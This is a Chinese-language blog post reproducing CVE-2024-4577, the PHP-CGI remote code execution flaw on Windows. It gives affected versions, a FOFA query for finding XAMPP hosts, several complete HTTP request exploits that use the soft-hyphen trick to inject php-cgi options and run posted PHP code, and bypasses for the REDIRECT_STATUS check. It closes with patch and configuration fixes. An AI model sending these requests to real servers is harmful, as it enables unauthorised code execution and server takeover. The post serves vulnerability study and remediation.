当前位置: 首页 > news >正文

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现

PHP语言在设计时忽略了Windows对字符编码转换的 Best-Fit 特性,导致未授权的攻击者可以通过特定字符串绕过 CVE-2012-1823 补丁,执行任意PHP代码,导致服务器失陷。

1.漏洞级别

高危

2.漏洞搜索

fofa:

app="XAMPP"

3.影响范围

PHP8.3 < 8.3.8
PHP8.2 < 8.2.20
PHP < 8.1.29
低版本PHP基本都可以生效

4.漏洞复现

4.1 限制条件分析

  • 系统环境为Windows
  • 使用了如下语系:简体中文936/繁体中文950/日文932
  • 直接使用php-cgi启动
  • 即使 PHP 未配置为 CGI 模式,仅将 PHP 可执行二进制文件暴露在 CGI 目录 (XAMPP默认配置)

4.2 漏洞利用

在低版本的XAMPP默认配置下是完美满足所有的利用条件。
可以直接构造POC

GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 22<?php phpinfo() ?>

注:

  • 这里的请求POST或者GET皆可,没有区别。
  • 正文里面的字段为需要执行的语句,需要以PHP文件的形式
    在这里插入图片描述
    在这种默认情况下漏洞利用相对简单。

4.3 漏洞进阶

但是如果我们在一些服务器上进行测试你就会发现,对该漏洞的利用失败,出现如下错误。
在这里插入图片描述这里的主要原因是因为PHP-CGI并不是高版本下的默认启动版本。我们通过phpinfo()页面就可以看到。
在这里插入图片描述PHP存在安全机制,在没有Action指令的情况下直接访问php-cgi.exe,REDIRECT_STATUS环境变量不会被设置,导致访问会返回500,这一配置是默认存在的。
解决方法也很简单,手动构造REDIRECT_STATUS变量即可,
构造

GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Redirect-Status: 1
Content-Length: 22<?php phpinfo() ?>

即可成功返回结果
在这里插入图片描述

另外的,我们也可以通过设置参数-d cgi.force_redirect=0 来绕过Redirect-Status的校验。
注:在高版本PHP中,allow_url_include已经被废弃,导致Content-Type头输出失败,也会返回500。需要添加一个-d error_reporting=0来规避这一点。
构造:

GET /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+error_reporting%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Length: 23<?php phpinfo(); ?>

注:这个方法是我看大佬的文章中提到,实际测试中发现还是会500,不知道原因,但是也附在这里,提供给大家参考。

5.修复方案

  • 1.升级PHP版本,官方已推出修复方案。修复版本包括最新的 PHP 版本 8.3.8、8.2.20 和 8.1.29。
  • 于使用 XAMPP for Windows 的用户:如果您确认不需要 PHP CGI 功能,则可以通过修改以下 Apache HTTP Server 配置来避免暴露于此漏洞
 C:/xampp/apache/conf/extra/httpd-xampp.conf

找到相应的行:

ScriptAlias /php-cgi/ "C:/xampp/php/"

并将其注释掉

# ScriptAlias /php-cgi/ "C:/xampp/php/"

相关文章:

PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)复现

PHP语言在设计时忽略了Windows对字符编码转换的 Best-Fit 特性&#xff0c;导致未授权的攻击者可以通过特定字符串绕过 CVE-2012-1823 补丁&#xff0c;执行任意PHP代码&#xff0c;导致服务器失陷。 1.漏洞级别 高危 2.漏洞搜索 fofa: app"XAMPP"3.影响范围 P…...

WHAT - React 学习系列(二)

目录 一、官方介绍二、框架具体对比1. Next.js(Pages Router)2. Remix3. Gatsby4. Expo&#xff08;用于原生应用&#xff09;5. Next.js(App Router)Next.js App Router主要特性与 Pages Router 的对比 具体使用示例创建 App Router 项目目录结构示例示例代码 总结 这一篇主要…...

Java 反射机制 -- Java 语言反射的概述、核心类与高级应用

大家好,我是栗筝i,这篇文章是我的 “栗筝i 的 Java 技术栈” 专栏的第 010 篇文章,在 “栗筝i 的 Java 技术栈” 这个专栏中我会持续为大家更新 Java 技术相关全套技术栈内容。专栏的主要目标是已经有一定 Java 开发经验,并希望进一步完善自己对整个 Java 技术体系来充实自…...

【Python入门与进阶】Jupyter Notebook配置与优化

目录 1.Jupyter Notebook简介 2.Jupyter Notebook的安装 2.1 命令行安装 2.2 可视化界面安装 3.Jupyter Notebook的使用 3.1 启动 Jupyter Notebook 3.2 Jupyter Notebook 界面介绍 3.3 创建新的 Notebook 3.4 编写和运行代码单元 3.5 使用 Markdown 编写文档 3.6 保…...

DataCap 自定义 File 转换器

DataCap 支持自定义 File 转换器&#xff0c;使用者可以编写自己的文件转换器集成到 DataCap 中。该文档主要讲解如何快速集成一个文件转换器到 DataCap 系统中。 该模块我们主要使用到的是 file 模块内的代码&#xff0c;我们本文使用 json 来做示例。 模块基本配置 新建项目…...

ARM32开发--IIC原理

知不足而奋进 望远山而前行 目录 文章目录 前言 目标 内容 I2C通讯规则 I2C写操作 I2C读流程 通讯信号 开始 结束 发送数据 bit发送 Byte发送 等待响应 接收数据 bit接收 Byte接收 发送响应 总结 前言 在现代消费电子和工业电子领域&#xff0c;各种类型的…...

列表、集合、字典的相关练习

1、使用列表推导式&#xff0c;输出1~100的所有素数 输入下面代码 # 定义一个辅助函数用来判断是否是素数 def is_prime(num):if num < 1:return Falsefor i in range(2, int(num**0.5) 1): #int函数将结果转换为整数&#xff0c;向下取整if num % i 0:return Falsere…...

填报志愿选大学专业,文科生如何选专业?

读文科的同学接触的专业知识相对广泛&#xff0c;往往被认为是“万金油”&#xff0c;他们仿佛什么都能做&#xff0c;但是和专业技能类知识不同&#xff0c;缺乏技术支持&#xff0c;从而使得文科专业的就业方向和前景远远比不上理科专业那么明朗&#xff0c;对于众多文科生而…...

如何实现跨域

如何实现跨域 当浏览器执行JS脚本时&#xff0c;会检测脚本要访问的协议&#xff0c;域名&#xff0c;端口号是不是和当前网址一致&#xff0c;不一致就是跨域。 跨域是不允许的&#xff0c;这种限制叫做浏览器的同源策略&#xff0c;简单就是浏览器不允许一个源加载脚本与其…...

从零开始利用树莓派+扬声器,实现简单的蓝牙音箱,手机连接放歌

背景 树莓派4B自带蓝牙和Wifi, 无需外接 USB dongle; 蓝牙最常见的应用是近距离传输数据,比如蓝牙传文件,蓝牙音箱等。正好家里有个普通的usb供电的便携音箱; 本文用树莓派蓝牙+普通音箱,实现简单的蓝牙音箱。 大致分为三个部分: kernel/driver层的ALSA驱动框架蓝牙音…...

今年的就业环境不容乐观,你想好怎么应对了吗

今年的就业环境不容乐观&#xff0c;你想好怎么应对了吗 毕业生进入职场的历程往往充满挑战和未知&#xff0c;尤其是在当前经济环境下&#xff0c;失业问题愈发凸显。本文通过分享几位年轻人的真实经历&#xff0c;剖析大学生及职场人士面临的困境&#xff0c;并提供应对策略…...

测试 halcon measure_projection 算子

期望结果完全相同&#xff0c;但是下面的测试结果和halcon的差值如下: [0.132838, 0.231991, 0.265157, 0.296903, 0.0998573, 0.165907, 0.230686, 0.130266, 0.0977104, 0.197109, 0.198173, 0.197086, 0.190943, 0.177665, 0.163521, 0.146541, 0.161362, 0.166666, 0.2281…...

网络安全岗位必须知道到:高性能抓取,多线程,异步逆向分析(Js逆向破解/APP逆向破解)反爬原理和解决方法,不然你的Python会有Bug

JS逆向破解和APP逆向破解以及反爬技术是网络安全和数据保护领域的重要话题。 遵循安全开发的最佳实践&#xff0c;包括输入验证、数据加密、权限管理等&#xff0c;以减少安全漏洞的出现。 坚决维护网络安全及开发安全&#xff0c;杜绝一切被爬&#xff0c;非法爬取数据的行为…...

lua网站开发中如何制作自定义模块

自定义模块是FastWeb框架的重要拓展功能&#xff0c;用来扩展和增强服务的能力。通过自定义模块&#xff0c;开发者可以轻松添加特定的功能和特性&#xff0c;使得网站开发更加灵活和高效。本文将演示如何添加自己的模块作为FastWeb的拓展&#xff0c;为框架的壮大与支持提供重…...

线性规划问题——单纯形算法

第一步&#xff1a;化“约束标准型” 在每个等式约束中至少有一个变量的系数为正&#xff0c;且这个变量只在该约束中出现。在每个约束方程中选择一个这样的变量称为基本变量。 剩下变量称为非基本变量。 一个简单的栗子 上图是一个约束标准型线性规划的例子。 等式1&#x…...

ADS基础教程20 - 电磁仿真(EM)参数化

EM介绍 一、引言二、参数化设置1.参数定义2.参数赋值3.创建EM模型和符号 四、总结 一、引言 参数化EM仿真&#xff0c;是在Layout环境下创建参数&#xff0c;相当于在原理图中声明变量。 二、参数化设置 1.参数定义 1&#xff09;在Layout视图&#xff0c;菜单栏中选中EM&g…...

NAND flash测试-雷龙发展

文章目录 一、简介 二、速度测试 最近比较忙&#xff0c;也一直没空发什么文章&#xff0c;这算是新年第一篇吧&#xff0c;正好最近收到了一个雷龙的flash芯片&#xff0c;先拿来玩一下吧。 有兴趣的小伙伴可以去雷龙官网找小姐姐领取一个免费试用。 一、简介 大概样子就是上面…...

CMake的学习之路

目录 一、基础命令 二、编译选项和设置 三、文件和目录操作 四、控制流命令 五、其他命令 六、CMake构建级别 CMake是一个跨平台的自动化建构系统&#xff0c;它使用一种人类可读的配置文件&#xff08;CMakeLists.txt&#xff09;来控制软件编译过程。以下是CMake中的一些…...

算法体系-22 第二十二节:暴力递归到动态规划(四)

一 最小距离累加和 1.1 描述 给定一个二维数组matrix&#xff0c;一个人必须从左上角出发&#xff0c;最后到达右下角 沿途只可以向下或者向右走&#xff0c;沿途的数字都累加就是距离累加和 返回最小距离累加和 1.2 分析...

Docker:利用Docker搭建一个nginx服务

文章目录 搭建一个nginx服务认识nginx服务Web服务器反向代理服务器高性能特点 安装nginx启动nginx停止nginx查找nginx镜像拉取nginx镜像&#xff0c;启动nginx站点其他方式拉取nginx镜像信息通过 DIGEST 拉取镜像 搭建一个nginx服务 首先先认识一下nginx服务&#xff1a; NGI…...

UI-TARS-desktop环境部署:Ubuntu+Docker下免配置运行Qwen3-4B多模态Agent

UI-TARS-desktop环境部署&#xff1a;UbuntuDocker下免配置运行Qwen3-4B多模态Agent 想体验一个能看懂屏幕、操作软件、帮你处理日常任务的多模态AI助手吗&#xff1f;今天&#xff0c;我们就来手把手教你&#xff0c;如何在Ubuntu系统上&#xff0c;通过Docker一键部署UI-TAR…...

告别GDAL依赖!用Rasterio和TensorFlow 2.6搞定BigEarthNet-MM数据集划分与TFRecord转换

告别GDAL依赖&#xff01;用Rasterio和TensorFlow 2.6搞定BigEarthNet-MM数据集划分与TFRecord转换 在遥感图像处理领域&#xff0c;BigEarthNet-MM数据集因其多模态特性&#xff08;Sentinel-1 SAR和Sentinel-2 MSI数据&#xff09;成为研究热点。但许多开发者在处理该数据集时…...

QT 5.14.0实战:手把手教你用QLineEdit打造一个带验证码的登录框(附完整样式代码)

QT 5.14.0实战&#xff1a;手把手教你用QLineEdit打造一个带验证码的登录框&#xff08;附完整样式代码&#xff09; 在GUI开发中&#xff0c;登录界面是最基础也最考验细节的组件之一。一个优秀的登录框不仅需要功能完整&#xff0c;还要在用户体验上下足功夫——比如实时输入…...

Windows环境下ODBC连接MySQL保姆级教程(含性能优化配置)

Windows环境下ODBC连接MySQL全流程实战指南 1. 环境准备与驱动安装 在Windows平台使用ODBC连接MySQL数据库&#xff0c;首先需要确保开发环境配置正确。与JDBC不同&#xff0c;ODBC作为跨语言的数据库连接标准&#xff0c;其驱动安装过程需要特别注意版本兼容性问题。以下是环境…...

超分辨数据集全景图:从经典基准到实战选型指南

1. 超分辨数据集入门&#xff1a;为什么选择比努力更重要 刚接触超分辨率技术时&#xff0c;我和大多数新手一样&#xff0c;第一反应是赶紧找个开源模型跑起来。结果发现同样的代码&#xff0c;在Set5上PSNR能到40&#xff0c;换成自己的照片却糊成一团。后来才明白&#xff0…...

2024年DroidKaigi官方会议应用:Android DataStore轻量级数据存储终极指南

2024年DroidKaigi官方会议应用&#xff1a;Android DataStore轻量级数据存储终极指南 【免费下载链接】conference-app-2024 The Official Conference App for DroidKaigi 2024 项目地址: https://gitcode.com/GitHub_Trending/co/conference-app-2024 DroidKaigi 2024官…...

NXP S32K3开发日记:PIT0的RTI唤醒功能调试全记录(含时钟源配置误区)

NXP S32K3开发实战&#xff1a;PIT0 RTI唤醒功能深度解析与排错指南 作为一名长期深耕汽车电子领域的嵌入式工程师&#xff0c;最近在基于NXP S32K3系列MCU开发低功耗应用时&#xff0c;遇到了一个颇具挑战性的问题——如何可靠地使用PIT0的RTI&#xff08;Real Time Interrupt…...

保姆级教程:用yangipcclient RN SDK 8.0快速给你的App加上实时对讲功能

保姆级实战&#xff1a;React Native应用集成实时对讲功能的完整指南 想象一下&#xff0c;你正在开发一款智能家居控制应用&#xff0c;用户反馈最强烈的需求是能够直接与家中的设备进行语音对讲。或者你负责的教育类App&#xff0c;小组讨论时缺少高效的实时语音沟通工具。传…...

FreeSWITCH 1.10.10 图形化部署实战 - 麒麟V10 SP3 X86/ARM双架构服务器安装与配置指南

1. FreeSWITCH与麒麟V10 SP3的完美组合 FreeSWITCH作为一款开源的软交换平台&#xff0c;在企业通信、呼叫中心、即时通讯等领域有着广泛应用。而麒麟V10 SP3作为国产操作系统的代表&#xff0c;在信创领域扮演着重要角色。将这两者结合起来&#xff0c;既能满足国产化需求&am…...

【实战指南】League Akari:英雄联盟智能工具全解析

【实战指南】League Akari&#xff1a;英雄联盟智能工具全解析 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power &#x1f680;. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 一、价值定位&#xff1a;重新定…...